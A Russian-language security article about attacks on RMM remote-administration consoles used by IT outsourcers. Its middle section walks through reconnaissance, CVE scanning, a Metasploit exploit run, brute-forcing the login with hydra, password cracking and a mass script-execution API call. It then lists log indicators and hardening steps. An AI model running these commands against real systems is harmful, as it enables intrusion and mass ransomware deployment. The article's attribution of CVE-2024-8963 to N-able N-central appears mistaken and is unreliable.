Короткая версия истории уже разошлась: собственник производственной компании насторожился из-за странной просьбы подрядчика срочно сменить все пароли, аудит вскрыл лишний, никем не признанный аккаунт в общей консоли удалённого администрирования — и через него теоретически можно было одной командой атаковать сразу 41 компанию, обслуживаемую этим подрядчиком. Здесь — то, что осталось за кадром короткого поста: как именно такие дыры эксплуатируются на практике, какие продукты и CVE стоят за подобными инцидентами, и что конкретно нужно настроить, чтобы это не повторилось у вас.
Почему RMM-системы — любимая цель атакующих
Системы класса RMM (Remote Monitoring & Management) — ConnectWise Automate/ScreenConnect, Kaseya VSA, N-able N-central, Datto RMM, Atera — это стандарт для ИТ-аутсорсинга. Одна консоль, тысячи агентов на компьютерах клиентов, возможность удалённо выполнять скрипты, разворачивать патчи и — что важно для атакующего — пушить произвольные payload'ы на все подключённые машины одним действием.
Это ровно та же архитектура, что делает supply chain атаки настолько разрушительными: скомпрометировав саму консоль, злоумышленник получает не доступ к одной сети, а «мастер-ключ» ко всем клиентам сразу. Именно так в 2021 году через Kaseya VSA был развёрнут REvil-шифровальщик более чем на 1500 компаний одновременно — это не гипотетический сценарий, а зафиксированный кейс индустрии.
Для класса продуктов N-able N-central в разное время публиковались критичные CVE: например, CVE-2024-8963 (path traversal, CVSS 9.8) и CVE-2024-8964 (insecure deserialization), которые в связке позволяли неавторизованное удалённое выполнение кода на управляющем сервере. Оба попали в каталог CISA KEV как активно эксплуатируемые. Свежие бюллетени по RMM-платформам регулярно фиксируют уязвимости с CVSS, близким к максимальному — именно поэтому «одна забытая учётка» в таких системах стоит на порядок дороже, чем в обычном веб-приложении.
Как это эксплуатируется
Атака на управляющий сервер RMM обычно проходит по одному из двух путей: эксплуатация технической уязвимости самого продукта, либо использование слабой гигиены учётных записей (как в разобранном кейсе). Разберём оба, с типичным инструментарием.
1. Разведка и идентификация продукта
nmap -p 443,8443,9002,7284 -sV --script=http-title,ssl-cert подрядчик.example.com
PORT STATE SERVICE VERSION
443/tcp open ssl/http nginx
8443/tcp open ssl/http N-central Agent Management
| http-title: N-central | Login
Баннер, favicon-хэш или заголовки ответа часто напрямую указывают на продукт и его версию:
curl -sk https://подрядчик.example.com:8443/dms2/services/ServerEI2 -I
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: N-central/2023.6
2. Поиск известных эндпоинтов и CVE
gobuster dir -u https://подрядчик.example.com:8443 -w /usr/share/wordlists/dirb/common.txt -k
/dms (Status: 302)
/dms2/services (Status: 200)
/api (Status: 401)
nuclei -u https://подрядчик.example.com:8443 -t cves/2024/CVE-2024-8963.yaml -t cves/2024/CVE-2024-8964.yaml
[CVE-2024-8963] [critical] Path Traversal detected -> /dms2/...
Публичные PoC и модули для Metasploit по таким CVE появляются в течение недель после раскрытия:
msfconsole -q
msf6 > search ncentral
msf6 > use exploit/multi/http/ncentral_deserialize_rce
msf6 exploit(ncentral_deserialize_rce) > set RHOSTS подрядчик.example.com
msf6 exploit(ncentral_deserialize_rce) > run
3. Путь через слабую гигиену учёток (сценарий из кейса)
Если уязвимости в самом коде нет — ищут забытые/лишние аккаунты, устаревшие интеграции, API-токены без ротации. Проверяется банальный брутфорс, если MFA не включена:
hydra -l admin -P rockyou.txt подрядчик.example.com https-post-form \
"/dms2/login:username=^USER^&password=^PASS^:Invalid login"
Или через утечку credential'ов из другого сервиса подрядчика (переиспользование паролей — типичная причина «ниоткуда взявшегося» аккаунта):
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt --force
Session..........: hashcat
Status............: Cracked
admin_backup:P@ssw0rd2019
Получив вход в консоль, атакующий добавляет собственную учётную запись с правами администратора — именно такая «сирота» и была найдена в разобранном случае при выгрузке списка пользователей. Далее — доступ к панели управления скриптами и массовому развёртыванию:
curl -sk -X POST https://подрядчик.example.com:8443/api/v2/devices/script-execute \
-H "Authorization: Bearer " \
-d '{"deviceGroup":"ALL","scriptId":1337}'
Что и почему сработало бы дальше
- Массовое развёртывание. RMM позволяет задать группу «все устройства» или «все клиенты» одной галочкой — деплой шифровальщика идёт не последовательно, а параллельно на десятки инфраструктур за минуты.
- Обход EDR за счёт легитимности. Агент RMM подписан цифровой подписью, доверен антивирусом и EDR-системами по умолчанию (это его штатная функция). Payload, доставленный через RMM-скрипт, часто не детектируется как аномалия — именно этот вектор массово использовался в атаках через Kaseya и ConnectWise ScreenConnect в 2023–2024 годах.
- Боковое перемещение и эксфильтрация до шифрования. Перед запуском шифровальщика типично разворачивается вторичный инструмент (например, через встроенный remote shell RMM) для выгрузки данных — двойное давление на жертву: и шифрование, и угроза публикации.
- Персистентность. Даже если исходную дыру закрыть, добавленный ранее административный аккаунт или API-токен продолжает работать, если не провести полную ревизию — классическая ошибка «залатали симптом, не нашли причину».
Признаки в логах, на которые стоит смотреть
- Создание учётной записи или API-токена вне рабочего времени или без тикета в системе учёта изменений.
- Вход в консоль с нового ASN/страны, особенно если у подрядчика вся команда работает из одного региона.
- Массовый запуск одного и того же скрипта на группе устройств «All Clients» / «All Devices» — легитимные операции обычно точечные.
- User-Agent или client ID в audit trail, не соответствующий стандартному агенту продукта.
- Появление новых интеграций/webhook'ов, которые никто не подключал.
Как закрыть
- Полная ревизия учётных записей и API-ключей в консоли управления, включая интеграции и сервисные токены — не только у людей, но и у машин.
# пример проверки активных сессий и токенов через API RMM-платформы curl -sk https://подрядчик.example.com:8443/api/v2/access-tokens \ -H "Authorization: Bearer" | jq '.[] | {id, created, lastUsed}' - MFA для всех административных входов в консоль без исключений, включая сервисные аккаунты — там, где это возможно, привязка к аппаратным токенам (FIDO2/TOTP).
- Патч-менеджмент самой RMM-платформы — обновление до последней версии сразу после публикации бюллетеня, не по расписанию «раз в квартал». Для критичных CVE (CVSS 9+) — в течение 24–48 часов.
- Сегментация плоскости управления — доступ к веб-консоли только с фиксированных IP или через VPN, а не из открытого интернета:
# пример правила на периметровом файрволе iptables -A INPUT -p tcp --dport 8443 -s 203.0.113.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 8443 -j DROP - Алертинг на аномальные действия: уведомление в мессенджер/SIEM на каждое создание учётной записи, изменение прав, массовый запуск скрипта на группу устройств.
- Договорной аудит для клиентов подрядчика — регулярный (не реже раза в квартал) запрос списка активных учётных записей с доступом к вашей инфраструктуре, независимо от того, что говорит сам подрядчик.
- EDR-правила на выполнение скриптов от процесса RMM-агента, отличных от типовых операций обновления/инвентаризации — детект по хешам исполняемых файлов и командной строке (например, вызов PowerShell с закодированной base64-командой из процесса агента).
Стоимость этих мер для подрядчика — часы работы одного администратора. Стоимость их отсутствия — цена одновременного простоя десятков компаний, каждая из которых считает свои потери в миллионах рублей за неделю.